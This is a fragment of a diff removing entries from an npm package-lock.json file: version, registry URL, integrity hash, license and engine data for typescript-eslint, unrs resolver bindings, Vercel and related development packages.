- "node": "^18.18.0 || ^20.9.0 || >=21.1.0" - }, - "funding": { - "type": "opencollective", - "url": "https://opencollective.com/typescript-eslint" - }, - "peerDependencies": { - "typescript": ">=4.8.4 <6.1.0" - } - }, - "node_modules/@typescript-eslint/scope-manager": { - "version": "8.59.2", - "resolved": "https://registry.npmjs.org/@typescript-eslint/scope-manager/-/scope-manager-8.59.2.tgz", - "integrity": "sha512-JzfyEpEtOU89CcFSwyNS3mu4MLvLSXqnmX05+aKBDM+TdR5jzcGOEBwxwGNxrEQ7p/z6kK2WyioCGBf2zZBnvg==", - "dev": true, - "license": "MIT", - "dependencies": { - "@typescript-eslint/types": "8.59.2", - "@typescript-eslint/visitor-keys": "8.59.2" - }, - "engines": { - "node": "^18.18.0 || ^20.9.0 || >=21.1.0" - }, - "funding": { - "type": "opencollective", - "url": "https://opencollective.com/typescript-eslint" - } - }, - "node_modules/@typescript-eslint/tsconfig-utils": { - "version": "8.59.2", - "resolved": "https://registry.npmjs.org/@typescript-eslint/tsconfig-utils/-/tsconfig-utils-8.59.2.tgz", - "integrity": "sha512-BKK4alN7oi4C/zv4VqHQ+uRU+lTa6JGIZ7s1juw7b3RHo9OfKB+bKX3u0iVZetdsUCBBkSbdWbarJbmN0fTeSw==", - "dev": true, - "license": "MIT", - "engines": { - "node": "^18.18.0 || ^20.9.0 || >=21.1.0" - }, - "funding": { - "type": "opencollective", - "url": "https://opencollective.com/typescript-eslint" - }, - "peerDependencies": { - "typescript": ">=4.8.4 <6.1.0" - } - }, - "node_modules/@typescript-eslint/type-utils": { - "version": "8.59.2", - "resolved": "https://registry.npmjs.org/@typescript-eslint/type-utils/-/type-utils-8.59.2.tgz", - "integrity": "sha512-nhqaj1nmTdVVl/BP5omXNRGO38jn5iosis2vbdmupF2txCf8ylWT8lx+JlvMYYVqzGVKtjojUFoQ3JRWK+mfzQ==", - "dev": true, - "license": "MIT", - "dependencies": { - "@typescript-eslint/types": "8.59.2", - "@typescript-eslint/typescript-estree": "8.59.2", - "@typescript-eslint/utils": "8.59.2", - "debug": "^4.4.3", - "ts-api-utils": "^2.5.0" - }, - "engines": { - "node": "^18.18.0 || ^20.9.0 || >=21.1.0" - }, - "funding": { - "type": "opencollective", - "url": "https://opencollective.com/typescript-eslint" - }, - "peerDependencies": { - "eslint": "^8.57.0 || ^9.0.0 || ^10.0.0", - "typescript": ">=4.8.4 <6.1.0" - } - }, - "node_modules/@typescript-eslint/type-utils/node_modules/@typescript-eslint/utils": { - "version": "8.59.2", - "resolved": "https://registry.npmjs.org/@typescript-eslint/utils/-/utils-8.59.2.tgz", - "integrity": "sha512-Juw3EinkXqjaffxz6roowvV7GZT/kET5vSKKZT6upl5TXdWkLkYmNPXwDDL2Vkt2DPn0nODIS4egC/0AGxKo/Q==", - "dev": true, - "license": "MIT", - "dependencies": { - "@eslint-community/eslint-utils": "^4.9.1", - "@typescript-eslint/scope-manager": "8.59.2", - "@typescript-eslint/types": "8.59.2", - "@typescript-eslint/typescript-estree": "8.59.2" - }, - "engines": { - "node": "^18.18.0 || ^20.9.0 || >=21.1.0" - }, - "funding": { - "type": "opencollective", - "url": "https://opencollective.com/typescript-eslint" - }, - "peerDependencies": { - "eslint": "^8.57.0 || ^9.0.0 || ^10.0.0", - "typescript": ">=4.8.4 <6.1.0" - } - }, - "node_modules/@typescript-eslint/types": { - "version": "8.59.2", - "resolved": "https://registry.npmjs.org/@typescript-eslint/types/-/types-8.59.2.tgz", - "integrity": "sha512-e82GVOE8Ps3E++Egvb6Y3Dw0S10u8NkQ9KXmtRhCWJJ8kDhOJTvtMAWnFL16kB1583goCWXsr0NieKCZMs2/0Q==", - "dev": true, - "license": "MIT", - "engines": { - "node": "^18.18.0 || ^20.9.0 || >=21.1.0" - }, - "funding": { - "type": "opencollective", - "url": "https://opencollective.com/typescript-eslint" - } - }, - "node_modules/@typescript-eslint/typescript-estree": { - "version": "8.59.2", - "resolved": "https://registry.npmjs.org/@typescript-eslint/typescript-estree/-/typescript-estree-8.59.2.tgz", - "integrity": "sha512-o0XPGNwcWw+FIwStOWn+BwBuEmL6QXP0rsvAFg7ET1dey1Nr6Wb1ac8p5HEsK0ygO/6mUxlk+YWQD9xcb/nnXg==", - "dev": true, - "license": "MIT", - "dependencies": { - "@typescript-eslint/project-service": "8.59.2", - "@typescript-eslint/tsconfig-utils": "8.59.2", - "@typescript-eslint/types": "8.59.2", - "@typescript-eslint/visitor-keys": "8.59.2", - "debug": "^4.4.3", - "minimatch": "^10.2.2", - "semver": "^7.7.3", - "tinyglobby": "^0.2.15", - "ts-api-utils": "^2.5.0" - }, - "engines": { - "node": "^18.18.0 || ^20.9.0 || >=21.1.0" - }, - "funding": { - "type": "opencollective", - "url": "https://opencollective.com/typescript-eslint" - }, - "peerDependencies": { - "typescript": ">=4.8.4 <6.1.0" - } - }, - "node_modules/@typescript-eslint/typescript-estree/node_modules/balanced-match": { - "version": "4.0.4", - "resolved": "https://registry.npmjs.org/balanced-match/-/balanced-match-4.0.4.tgz", - "integrity": "sha512-BLrgEcRTwX2o6gGxGOCNyMvGSp35YofuYzw9h1IMTRmKqttAZZVU67bdb9Pr2vUHA8+j3i2tJfjO6C6+4myGTA==", - "dev": true, - "license": "MIT", - "engines": { - "node": "18 || 20 || >=22" - } - }, - "node_modules/@typescript-eslint/typescript-estree/node_modules/brace-expansion": { - "version": "5.0.6", - "resolved": "https://registry.npmjs.org/brace-expansion/-/brace-expansion-5.0.6.tgz", - "integrity": "sha512-kLpxurY4Z4r9sgMsyG0Z9uzsBlgiU/EFKhj/h91/8yHu0edo7XuixOIH3VcJ8kkxs6/jPzoI6U9Vj3WqbMQ94g==", - "dev": true, - "license": "MIT", - "dependencies": { - "balanced-match": "^4.0.2" - }, - "engines": { - "node": "18 || 20 || >=22" - } - }, - "node_modules/@typescript-eslint/typescript-estree/node_modules/minimatch": { - "version": "10.2.5", - "resolved": "https://registry.npmjs.org/minimatch/-/minimatch-10.2.5.tgz", - "integrity": "sha512-MULkVLfKGYDFYejP07QOurDLLQpcjk7Fw+7jXS2R2czRQzR56yHRveU5NDJEOviH+hETZKSkIk5c+T23GjFUMg==", - "dev": true, - "license": "BlueOak-1.0.0", - "dependencies": { - "brace-expansion": "^5.0.5" - }, - "engines": { - "node": "18 || 20 || >=22" - }, - "funding": { - "url": "https://github.com/sponsors/isaacs" - } - }, - "node_modules/@typescript-eslint/utils": { - "version": "8.60.1", - "resolved": "https://registry.npmjs.org/@typescript-eslint/utils/-/utils-8.60.1.tgz", - "integrity": "sha512-h2MPBLoNtjc3qZWfY3Tl51yPorQ2McHn8pJfcMNTcIvrrZrr90Ykffit0yjrPFWQcRcUxzH20+6OcVdW4yHtUg==", - "dev": true, - "license": "MIT", - "dependencies": { - "@eslint-community/eslint-utils": "^4.9.1", - "@typescript-eslint/scope-manager": "8.60.1", - "@typescript-eslint/types": "8.60.1", - "@typescript-eslint/typescript-estree": "8.60.1" - }, - "engines": { - "node": "^18.18.0 || ^20.9.0 || >=21.1.0" - }, - "funding": { - "type": "opencollective", - "url": "https://opencollective.com/typescript-eslint" - }, - "peerDependencies": { - "eslint": "^8.57.0 || ^9.0.0 || ^10.0.0", - "typescript": ">=4.8.4 <6.1.0" - } - }, - "node_modules/@typescript-eslint/utils/node_modules/@typescript-eslint/project-service": { - "version": "8.60.1", - "resolved": "https://registry.npmjs.org/@typescript-eslint/project-service/-/project-service-8.60.1.tgz", - "integrity": "sha512-eXkTH2bxmXlqD1RnOPmLZ9ZM9D3VwSx04JOwBnP9RQ+yUA5a2Mu7SfW8uaV2Aon53NJzZlZYuX7tn91Izf+xaw==", - "dev": true, - "license": "MIT", - "dependencies": { - "@typescript-eslint/tsconfig-utils": "^8.60.1", - "@typescript-eslint/types": "^8.60.1", - "debug": "^4.4.3" - }, - "engines": { - "node": "^18.18.0 || ^20.9.0 || >=21.1.0" - }, - "funding": { - "type": "opencollective", - "url": "https://opencollective.com/typescript-eslint" - }, - "peerDependencies": { - "typescript": ">=4.8.4 <6.1.0" - } - }, - "node_modules/@typescript-eslint/utils/node_modules/@typescript-eslint/scope-manager": { - "version": "8.60.1", - "resolved": "https://registry.npmjs.org/@typescript-eslint/scope-manager/-/scope-manager-8.60.1.tgz", - "integrity": "sha512-gvI5OQoptnxQnchOirukCuQ55svJSTuD/4k5+pC267xyBtYry748R9/c3tYUzb/iE6RZfllRz2lVulLCHkTm4w==", - "dev": true, - "license": "MIT", - "dependencies": { - "@typescript-eslint/types": "8.60.1", - "@typescript-eslint/visitor-keys": "8.60.1" - }, - "engines": { - "node": "^18.18.0 || ^20.9.0 || >=21.1.0" - }, - "funding": { - "type": "opencollective", - "url": "https://opencollective.com/typescript-eslint" - } - }, - "node_modules/@typescript-eslint/utils/node_modules/@typescript-eslint/tsconfig-utils": { - "version": "8.60.1", - "resolved": "https://registry.npmjs.org/@typescript-eslint/tsconfig-utils/-/tsconfig-utils-8.60.1.tgz", - "integrity": "sha512-nh8w4qAteiKuZu3pSSzG/yGKpw0OlkrKnzFmbVRenKaD4qc+7i1GrmZaLVkr8rk4uipiPGMOW4YsM6WmKZ5CvA==", - "dev": true, - "license": "MIT", - "engines": { - "node": "^18.18.0 || ^20.9.0 || >=21.1.0" - }, - "funding": { - "type": "opencollective", - "url": "https://opencollective.com/typescript-eslint" - }, - "peerDependencies": { - "typescript": ">=4.8.4 <6.1.0" - } - }, - "node_modules/@typescript-eslint/utils/node_modules/@typescript-eslint/types": { - "version": "8.60.1", - "resolved": "https://registry.npmjs.org/@typescript-eslint/types/-/types-8.60.1.tgz", - "integrity": "sha512-4h0tY8ppCkdCzcrl2YM5M3my0xsE1Tf8om3owEu5oPWmXwkKRmk0j0LGDzYBGUcAlesEbxBhazqu/K4cu3Ug7w==", - "dev": true, - "license": "MIT", - "engines": { - "node": "^18.18.0 || ^20.9.0 || >=21.1.0" - }, - "funding": { - "type": "opencollective", - "url": "https://opencollective.com/typescript-eslint" - } - }, - "node_modules/@typescript-eslint/utils/node_modules/@typescript-eslint/typescript-estree": { - "version": "8.60.1", - "resolved": "https://registry.npmjs.org/@typescript-eslint/typescript-estree/-/typescript-estree-8.60.1.tgz", - "integrity": "sha512-alpRkfG8hlVE5kdJW2GkfgDgXxold3e8e4l6EnmhRmRLbekgAPCCGDVD++sABy9FcgPFroq+uFcCSM1vR57Cew==", - "dev": true, - "license": "MIT", - "dependencies": { - "@typescript-eslint/project-service": "8.60.1", - "@typescript-eslint/tsconfig-utils": "8.60.1", - "@typescript-eslint/types": "8.60.1", - "@typescript-eslint/visitor-keys": "8.60.1", - "debug": "^4.4.3", - "minimatch": "^10.2.2", - "semver": "^7.7.3", - "tinyglobby": "^0.2.15", - "ts-api-utils": "^2.5.0" - }, - "engines": { - "node": "^18.18.0 || ^20.9.0 || >=21.1.0" - }, - "funding": { - "type": "opencollective", - "url": "https://opencollective.com/typescript-eslint" - }, - "peerDependencies": { - "typescript": ">=4.8.4 <6.1.0" - } - }, - "node_modules/@typescript-eslint/utils/node_modules/@typescript-eslint/visitor-keys": { - "version": "8.60.1", - "resolved": "https://registry.npmjs.org/@typescript-eslint/visitor-keys/-/visitor-keys-8.60.1.tgz", - "integrity": "sha512-EbGRQg4FhrmwLodl+t3JNAnXHWVr9Vp+Zl1QBZVPY4ByfkzIT8cX3K6QWODHtkIZqqJVEWvhHSx3v5PDHsaQag==", - "dev": true, - "license": "MIT", - "dependencies": { - "@typescript-eslint/types": "8.60.1", - "eslint-visitor-keys": "^5.0.0" - }, - "engines": { - "node": "^18.18.0 || ^20.9.0 || >=21.1.0" - }, - "funding": { - "type": "opencollective", - "url": "https://opencollective.com/typescript-eslint" - } - }, - "node_modules/@typescript-eslint/utils/node_modules/balanced-match": { - "version": "4.0.4", - "resolved": "https://registry.npmjs.org/balanced-match/-/balanced-match-4.0.4.tgz", - "integrity": "sha512-BLrgEcRTwX2o6gGxGOCNyMvGSp35YofuYzw9h1IMTRmKqttAZZVU67bdb9Pr2vUHA8+j3i2tJfjO6C6+4myGTA==", - "dev": true, - "license": "MIT", - "engines": { - "node": "18 || 20 || >=22" - } - }, - "node_modules/@typescript-eslint/utils/node_modules/brace-expansion": { - "version": "5.0.6", - "resolved": "https://registry.npmjs.org/brace-expansion/-/brace-expansion-5.0.6.tgz", - "integrity": "sha512-kLpxurY4Z4r9sgMsyG0Z9uzsBlgiU/EFKhj/h91/8yHu0edo7XuixOIH3VcJ8kkxs6/jPzoI6U9Vj3WqbMQ94g==", - "dev": true, - "license": "MIT", - "dependencies": { - "balanced-match": "^4.0.2" - }, - "engines": { - "node": "18 || 20 || >=22" - } - }, - "node_modules/@typescript-eslint/utils/node_modules/eslint-visitor-keys": { - "version": "5.0.1", - "resolved": "https://registry.npmjs.org/eslint-visitor-keys/-/eslint-visitor-keys-5.0.1.tgz", - "integrity": "sha512-tD40eHxA35h0PEIZNeIjkHoDR4YjjJp34biM0mDvplBe//mB+IHCqHDGV7pxF+7MklTvighcCPPZC7ynWyjdTA==", - "dev": true, - "license": "Apache-2.0", - "engines": { - "node": "^20.19.0 || ^22.13.0 || >=24" - }, - "funding": { - "url": "https://opencollective.com/eslint" - } - }, - "node_modules/@typescript-eslint/utils/node_modules/minimatch": { - "version": "10.2.5", - "resolved": "https://registry.npmjs.org/minimatch/-/minimatch-10.2.5.tgz", - "integrity": "sha512-MULkVLfKGYDFYejP07QOurDLLQpcjk7Fw+7jXS2R2czRQzR56yHRveU5NDJEOviH+hETZKSkIk5c+T23GjFUMg==", - "dev": true, - "license": "BlueOak-1.0.0", - "dependencies": { - "brace-expansion": "^5.0.5" - }, - "engines": { - "node": "18 || 20 || >=22" - }, - "funding": { - "url": "https://github.com/sponsors/isaacs" - } - }, - "node_modules/@typescript-eslint/visitor-keys": { - "version": "8.59.2", - "resolved": "https://registry.npmjs.org/@typescript-eslint/visitor-keys/-/visitor-keys-8.59.2.tgz", - "integrity": "sha512-NwjLUnGy8/Zfx23fl50tRC8rYaYnM52xNRYFAXvmiil9yh1+K6aRVQMnzW6gQB/1DLgWt977lYQn7C+wtgXZiA==", - "dev": true, - "license": "MIT", - "dependencies": { - "@typescript-eslint/types": "8.59.2", - "eslint-visitor-keys": "^5.0.0" - }, - "engines": { - "node": "^18.18.0 || ^20.9.0 || >=21.1.0" - }, - "funding": { - "type": "opencollective", - "url": "https://opencollective.com/typescript-eslint" - } - }, - "node_modules/@typescript-eslint/visitor-keys/node_modules/eslint-visitor-keys": { - "version": "5.0.1", - "resolved": "https://registry.npmjs.org/eslint-visitor-keys/-/eslint-visitor-keys-5.0.1.tgz", - "integrity": "sha512-tD40eHxA35h0PEIZNeIjkHoDR4YjjJp34biM0mDvplBe//mB+IHCqHDGV7pxF+7MklTvighcCPPZC7ynWyjdTA==", - "dev": true, - "license": "Apache-2.0", - "engines": { - "node": "^20.19.0 || ^22.13.0 || >=24" - }, - "funding": { - "url": "https://opencollective.com/eslint" - } - }, - "node_modules/@uidotdev/usehooks": { - "version": "2.4.1", - "resolved": "https://registry.npmjs.org/@uidotdev/usehooks/-/usehooks-2.4.1.tgz", - "integrity": "sha512-1I+RwWyS+kdv3Mv0Vmc+p0dPYH0DTRAo04HLyXReYBL9AeseDWUJyi4THuksBJcu9F0Pih69Ak150VDnqbVnXg==", - "license": "MIT", - "engines": { - "node": ">=16" - }, - "peerDependencies": { - "react": ">=18.0.0", - "react-dom": ">=18.0.0" - } - }, - "node_modules/@ungap/structured-clone": { - "version": "1.3.1", - "resolved": "https://registry.npmjs.org/@ungap/structured-clone/-/structured-clone-1.3.1.tgz", - "integrity": "sha512-mUFwbeTqrVgDQxFveS+df2yfap6iuP20NAKAsBt5jDEoOTDew+zwLAOilHCeQJOVSvmgCX4ogqIrA0mnyr08yQ==", - "license": "ISC" - }, - "node_modules/@unrs/resolver-binding-android-arm-eabi": { - "version": "1.12.2", - "resolved": "https://registry.npmjs.org/@unrs/resolver-binding-android-arm-eabi/-/resolver-binding-android-arm-eabi-1.12.2.tgz", - "integrity": "sha512-g5T90pqg1bo/7mytQx6F4iBNC0Wsh9cu+z9veDbFjc7HjpesJFWD7QMS0NGStXM075+7dJPPVvBbpZlnrdpi/w==", - "cpu": [ - "arm" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "android" - ] - }, - "node_modules/@unrs/resolver-binding-android-arm64": { - "version": "1.12.2", - "resolved": "https://registry.npmjs.org/@unrs/resolver-binding-android-arm64/-/resolver-binding-android-arm64-1.12.2.tgz", - "integrity": "sha512-YGCRZv/9GLhwmz6mYDeTsm/92BAyR28l6c2ReweVW5pWgfsitWLY8upvfRlGdoyD8HjeTHSYJWyZGD4KJA/nFQ==", - "cpu": [ - "arm64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "android" - ] - }, - "node_modules/@unrs/resolver-binding-darwin-arm64": { - "version": "1.12.2", - "resolved": "https://registry.npmjs.org/@unrs/resolver-binding-darwin-arm64/-/resolver-binding-darwin-arm64-1.12.2.tgz", - "integrity": "sha512-u9DiNT1auQMO20A9SyTuG3wUgQWB9Z7KjAg0uFuCDR1FsAY8A0CG2S6JpHS1xwm/w1G08bjXZDcyOCjv1WAm2w==", - "cpu": [ - "arm64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "darwin" - ] - }, - "node_modules/@unrs/resolver-binding-darwin-x64": { - "version": "1.12.2", - "resolved": "https://registry.npmjs.org/@unrs/resolver-binding-darwin-x64/-/resolver-binding-darwin-x64-1.12.2.tgz", - "integrity": "sha512-f7rPLi/T1HVKZu/u6t87lroib16n8vrSzcyxI7lg4BGO9UF26KhQL44sd9eOUgrTYhvRXtWOIZT5PejdPyJfUA==", - "cpu": [ - "x64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "darwin" - ] - }, - "node_modules/@unrs/resolver-binding-freebsd-x64": { - "version": "1.12.2", - "resolved": "https://registry.npmjs.org/@unrs/resolver-binding-freebsd-x64/-/resolver-binding-freebsd-x64-1.12.2.tgz", - "integrity": "sha512-BpcOjWCJub6nRZUS2zA20pmLvjtqAtGejETaIyRLiZiQf++cbrjltLA5NN/xaXfqeOBOSlMFbemIl5/S5tljmg==", - "cpu": [ - "x64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "freebsd" - ] - }, - "node_modules/@unrs/resolver-binding-linux-arm-gnueabihf": { - "version": "1.12.2", - "resolved": "https://registry.npmjs.org/@unrs/resolver-binding-linux-arm-gnueabihf/-/resolver-binding-linux-arm-gnueabihf-1.12.2.tgz", - "integrity": "sha512-vZTDvdSISZjJx66OzJqtsOhzifbqRjbmI1Mnu49fQDwog5GtDI4QidRiEAYbZCRj9C8YZEW+3ZjqsyS9GR4k2A==", - "cpu": [ - "arm" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "linux" - ] - }, - "node_modules/@unrs/resolver-binding-linux-arm-musleabihf": { - "version": "1.12.2", - "resolved": "https://registry.npmjs.org/@unrs/resolver-binding-linux-arm-musleabihf/-/resolver-binding-linux-arm-musleabihf-1.12.2.tgz", - "integrity": "sha512-BiPI+IrIlwcW4nLLMM21+B1dFPzd55yAVgVGrdgDjNef+ch03GdxrcyaIz8X9SsQirh/kCQ7mviyWlMxdh2D7g==", - "cpu": [ - "arm" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "linux" - ] - }, - "node_modules/@unrs/resolver-binding-linux-arm64-gnu": { - "version": "1.12.2", - "resolved": "https://registry.npmjs.org/@unrs/resolver-binding-linux-arm64-gnu/-/resolver-binding-linux-arm64-gnu-1.12.2.tgz", - "integrity": "sha512-zJc0H99FEPoFfSrNpa91HYfxzfAJCr502oxNK1cfdC9hlaFI43RT+JFCann9JUgZmLzzntChHyn13Sgn9ljHNg==", - "cpu": [ - "arm64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "linux" - ] - }, - "node_modules/@unrs/resolver-binding-linux-arm64-musl": { - "version": "1.12.2", - "resolved": "https://registry.npmjs.org/@unrs/resolver-binding-linux-arm64-musl/-/resolver-binding-linux-arm64-musl-1.12.2.tgz", - "integrity": "sha512-KQ3Lki6l+Pz1k/eBipN41ES+YUK30beLGb9YqcB1O542cyLCNE6GaxrfcY3T6EezmGGk84wb5XyO9loTM9tkcA==", - "cpu": [ - "arm64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "linux" - ] - }, - "node_modules/@unrs/resolver-binding-linux-loong64-gnu": { - "version": "1.12.2", - "resolved": "https://registry.npmjs.org/@unrs/resolver-binding-linux-loong64-gnu/-/resolver-binding-linux-loong64-gnu-1.12.2.tgz", - "integrity": "sha512-3SJGEh1DborhG6pyxvhPzCT4bbSIVihsvgJc13P1bHG7KLdNDaF9T3gsTwFc7Jw/5Y5/iWOjkEx7Zy0NvCGX3Q==", - "cpu": [ - "loong64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "linux" - ] - }, - "node_modules/@unrs/resolver-binding-linux-loong64-musl": { - "version": "1.12.2", - "resolved": "https://registry.npmjs.org/@unrs/resolver-binding-linux-loong64-musl/-/resolver-binding-linux-loong64-musl-1.12.2.tgz", - "integrity": "sha512-jiuG/Obbel7uw1PwHNFfrkiKhLAF6mnyZ6aWlOAVN9WqKm8v0OFGnciJIHu8+CMvXLQ8AD51LPzAoUfT21D5Ew==", - "cpu": [ - "loong64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "linux" - ] - }, - "node_modules/@unrs/resolver-binding-linux-ppc64-gnu": { - "version": "1.12.2", - "resolved": "https://registry.npmjs.org/@unrs/resolver-binding-linux-ppc64-gnu/-/resolver-binding-linux-ppc64-gnu-1.12.2.tgz", - "integrity": "sha512-q7xRvVpmcfeL+LlZg8Pbbo6QaTZwDU5BaGZbwfhkEsXJn3Was8xYfE0RBH266xZt0rM6B7i8xAYIvjthuUIWHg==", - "cpu": [ - "ppc64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "linux" - ] - }, - "node_modules/@unrs/resolver-binding-linux-riscv64-gnu": { - "version": "1.12.2", - "resolved": "https://registry.npmjs.org/@unrs/resolver-binding-linux-riscv64-gnu/-/resolver-binding-linux-riscv64-gnu-1.12.2.tgz", - "integrity": "sha512-0CVdx6lcnT3Q9inOH8tsMIOJ6ImndllMjqJHg8RLVdB7Vq4SfkEXl9mCSsVNuNA4MCYycRicCUxPCabVHJRr6A==", - "cpu": [ - "riscv64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "linux" - ] - }, - "node_modules/@unrs/resolver-binding-linux-riscv64-musl": { - "version": "1.12.2", - "resolved": "https://registry.npmjs.org/@unrs/resolver-binding-linux-riscv64-musl/-/resolver-binding-linux-riscv64-musl-1.12.2.tgz", - "integrity": "sha512-iOwlRo9vnp6R6ohHQS11n0NnfdXx/omhkocmIfaPRpQhKZ+3BDMkkdRVh53qjkFkpPddf+FETA28NwGN7l5l+w==", - "cpu": [ - "riscv64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "linux" - ] - }, - "node_modules/@unrs/resolver-binding-linux-s390x-gnu": { - "version": "1.12.2", - "resolved": "https://registry.npmjs.org/@unrs/resolver-binding-linux-s390x-gnu/-/resolver-binding-linux-s390x-gnu-1.12.2.tgz", - "integrity": "sha512-HYJtLfXq94q8iZNFT1lknx258wlkkWhZeUXJRqzKBBUJ00CvZ+N33zgbCqimLjsyw5Va6uUxhVa12mI+kaveEw==", - "cpu": [ - "s390x" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "linux" - ] - }, - "node_modules/@unrs/resolver-binding-linux-x64-gnu": { - "version": "1.12.2", - "resolved": "https://registry.npmjs.org/@unrs/resolver-binding-linux-x64-gnu/-/resolver-binding-linux-x64-gnu-1.12.2.tgz", - "integrity": "sha512-mPsUhunKKDih5O96Y6enDQyHc1SqBPlY1E/SfMWDM3EdJ95Z9CArPeCVwCCqbP45ljvivdEk8Fxn+SIb1rDAJQ==", - "cpu": [ - "x64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "linux" - ] - }, - "node_modules/@unrs/resolver-binding-linux-x64-musl": { - "version": "1.12.2", - "resolved": "https://registry.npmjs.org/@unrs/resolver-binding-linux-x64-musl/-/resolver-binding-linux-x64-musl-1.12.2.tgz", - "integrity": "sha512-azrt6+5ydLd8Vt210AAFis/lZevSfPw93EJRIJG+xPu4WCJ8K0kppCTpMyLPcKT7H15M4Jnt2tMp5bOvCkRC6A==", - "cpu": [ - "x64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "linux" - ] - }, - "node_modules/@unrs/resolver-binding-openharmony-arm64": { - "version": "1.12.2", - "resolved": "https://registry.npmjs.org/@unrs/resolver-binding-openharmony-arm64/-/resolver-binding-openharmony-arm64-1.12.2.tgz", - "integrity": "sha512-YZ9hP4O0X9PQb8eO980qmLNGH4zT3I9+SZTdt0Pr0YyuGQhYKoOZkV02VzrzyOZJ5xIJ3UFIenKkUkGg8GjgWQ==", - "cpu": [ - "arm64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "openharmony" - ] - }, - "node_modules/@unrs/resolver-binding-wasm32-wasi": { - "version": "1.12.2", - "resolved": "https://registry.npmjs.org/@unrs/resolver-binding-wasm32-wasi/-/resolver-binding-wasm32-wasi-1.12.2.tgz", - "integrity": "sha512-tYFDIkMxSflfEc/h92ZWNsZlHSwgimbNHSO3PL2JWQHfCuC2q316jMyYU9TIWZsFK2bQwyK5VAdYgn8ygPj69A==", - "cpu": [ - "wasm32" - ], - "dev": true, - "license": "MIT", - "optional": true, - "dependencies": { - "@emnapi/core": "1.10.0", - "@emnapi/runtime": "1.10.0", - "@napi-rs/wasm-runtime": "^1.1.4" - }, - "engines": { - "node": ">=14.0.0" - } - }, - "node_modules/@unrs/resolver-binding-win32-arm64-msvc": { - "version": "1.12.2", - "resolved": "https://registry.npmjs.org/@unrs/resolver-binding-win32-arm64-msvc/-/resolver-binding-win32-arm64-msvc-1.12.2.tgz", - "integrity": "sha512-qzNyg3xL0VPQmCaUh+N5jSitce6k+uCBfMDesWRnlULOZaqUkaJ0ybdT+UqlAWJoQjuqfIU/0Ptx9bteN4D82g==", - "cpu": [ - "arm64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "win32" - ] - }, - "node_modules/@unrs/resolver-binding-win32-ia32-msvc": { - "version": "1.12.2", - "resolved": "https://registry.npmjs.org/@unrs/resolver-binding-win32-ia32-msvc/-/resolver-binding-win32-ia32-msvc-1.12.2.tgz", - "integrity": "sha512-WD9sY00OfpHVGfsnHZoA8jVT+esS/Bg8z8jzxp5BnDCjjwsuKsPQrzswwpFy4J1AUJbXPRfkpcX0mXrzeXW79g==", - "cpu": [ - "ia32" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "win32" - ] - }, - "node_modules/@unrs/resolver-binding-win32-x64-msvc": { - "version": "1.12.2", - "resolved": "https://registry.npmjs.org/@unrs/resolver-binding-win32-x64-msvc/-/resolver-binding-win32-x64-msvc-1.12.2.tgz", - "integrity": "sha512-nAB74NfSNKknqQ1RrYj6uz8FcXEomu/MATJZxh/x+BArzN2U3JbOYC0APYzUIGhVY3m5hRxA8VPNdPBoG8txlA==", - "cpu": [ - "x64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "win32" - ] - }, - "node_modules/@vercel/react-router": { - "version": "1.3.0", - "resolved": "https://registry.npmjs.org/@vercel/react-router/-/react-router-1.3.0.tgz", - "integrity": "sha512-z952pqHTGje/LSFRcbKyFSL7DDDFsIStsEmFbdF4cQDBYgTXQWepuQEfdRouNz3FTodib0/hXyWR1OVWd8hxtw==", - "dev": true, - "license": "Apache-2.0", - "dependencies": { - "@vercel/static-config": "3.3.0", - "ts-morph": "12.0.0" - }, - "peerDependencies": { - "@react-router/dev": "7", - "@react-router/node": "7", - "isbot": "5", - "react": ">=18", - "react-dom": ">=18" - } - }, - "node_modules/@vercel/static-config": { - "version": "3.3.0", - "resolved": "https://registry.npmjs.org/@vercel/static-config/-/static-config-3.3.0.tgz", - "integrity": "sha512-GpS3tPwUeDJCkrKbMNtS2XLRFgfxTlN7YNUL+Bo23+fGolrDw6Oq79R3yvxTYgqRaJMGSEqC7iMw6mj6I5loxg==", - "dev": true, - "license": "Apache-2.0", - "dependencies": { - "ajv": "8.6.3", - "json-schema-to-ts": "1.6.4", - "ts-morph": "12.0.0" - } - }, - "node_modules/@vercel/static-config/node_modules/ajv": { - "version": "8.20.0", - "resolved": "https://registry.npmjs.org/ajv/-/ajv-8.20.0.tgz", - "integrity": "sha512-Thbli+OlOj+iMPYFBVBfJ3OmCAnaSyNn4M1vz9T6Gka5Jt9ba/HIR56joy65tY6kx/FCF5VXNB819Y7/GUrBGA==", - "dev": true, - "license": "MIT", - "dependencies": { - "fast-deep-equal": "^3.1.3", - "fast-uri": "^3.0.1", - "json-schema-traverse": "^1.0.0", - "require-from-string": "^2.0.2" - }, - "funding": { - "type": "github", - "url": "https://github.com/sponsors/epoberezkin" - } - }, - "node_modules/@vercel/static-config/node_modules/json-schema-traverse": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/json-schema-traverse/-/json-schema-traverse-1.0.0.tgz", - "integrity": "sha512-NM8/P9n3XjXhIZn1lLhkFaACTOURQXjWhV4BA/RnOv8xvgqtqpAX9IO4mRQxSx1Rlo4tqzeqb0sOlruaOy3dug==", - "dev": true, - "license": "MIT" - }, - "node_modules/@vitest/coverage-v8": { - "version": "4.1.5", - "resolved": "https://registry.npmjs.org/@vitest/coverage-v8/-/coverage-v8-4.1.5.tgz", - "integrity": 